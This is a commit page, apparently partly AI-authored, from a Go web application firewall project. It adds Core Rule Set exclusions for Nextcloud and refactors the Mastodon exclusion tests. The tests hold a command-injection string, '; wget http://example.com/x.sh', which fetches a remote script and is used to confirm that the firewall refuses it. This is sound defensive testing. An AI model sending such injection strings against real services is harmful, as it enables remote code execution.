Core Rule Set: Nextcloud's ordinary requests pass by default (closes #240)
check / check (push) Failing after 5m5s

Adds nextcloud.conf, the thirteenth change. Nextcloud's WebDAV paths allow
PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK and UNLOCK. The
account-name cookie nc_username, and the fields that carry a search, a name, a
file name or a folder on the sign-in page, the Files app, public shares and the
OCS API, skip the four rules that read them as commands or system files.
Comments, a share's note, a status and a document's text also skip the rules
that refused ordinary sentences, and the document the two that refused a shell
code block, so "; wget" reaches Nextcloud there. Requests recorded from
Nextcloud 35.0.2, its web pages, sync client 3.16.7 and the OCS API pass at the
defaults and while bodies are read.

Model: opus-5-5
This commit is contained in:
sneak committed 2026-11-10 05:17:09 +00:00
1 parent 20e4b3b080
commit d442848cf8
9 files changed
+2189 -46

No files matched your search

+12 -11
View File
@@ -151,7 +151,7 @@ var mastodonFormFields = []mastodonBodyField{
"form_redirect[current_password]=",
},
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
{http.MethodPost, mastodonSignUp, "password="},
{http.MethodPost, mastodonSignUp, passwordField},
{http.MethodPost, mastodonSignUp, "reason="},
}
@@ -287,30 +287,31 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
}
}
// mastodonCommandAttack is a shell command that only 932230 and 932235
// refuse on the fields that skip the four rules.
const mastodonCommandAttack = "; wget http://example.com/x.sh"
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
attack := url.QueryEscape(mastodonCommandAttack)
for _, target := range mastodonQueryFields {
if got := inspect(t, crs, get(target+attack)); got.Score < mastodonThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
got := inspect(t, crs, get(target+commandInjection))
if got.Score < mastodonThreshold {
t.Errorf("%s%s let through: %+v", target, commandInjection, got)
}
}
for _, sent := range mastodonFormFields {
if mastodonForm(t, sent, attack) < mastodonThreshold {
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
attack, err := url.QueryUnescape(commandInjection)
if err != nil {
t.Fatal(err)
}
for _, sent := range mastodonJSONFields {
if mastodonJSON(t, sent, mastodonCommandAttack) < mastodonThreshold {
if mastodonJSON(t, sent, attack) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
@@ -497,7 +498,7 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
}
for _, value := range slices.Concat(
refused, mastodonAttacks, []string{url.QueryEscape(mastodonCommandAttack)},
refused, mastodonAttacks, []string{commandInjection},
) {
if mastodonForm(t, mastodonUsername, value) < mastodonThreshold {
t.Errorf("username %s let through", value)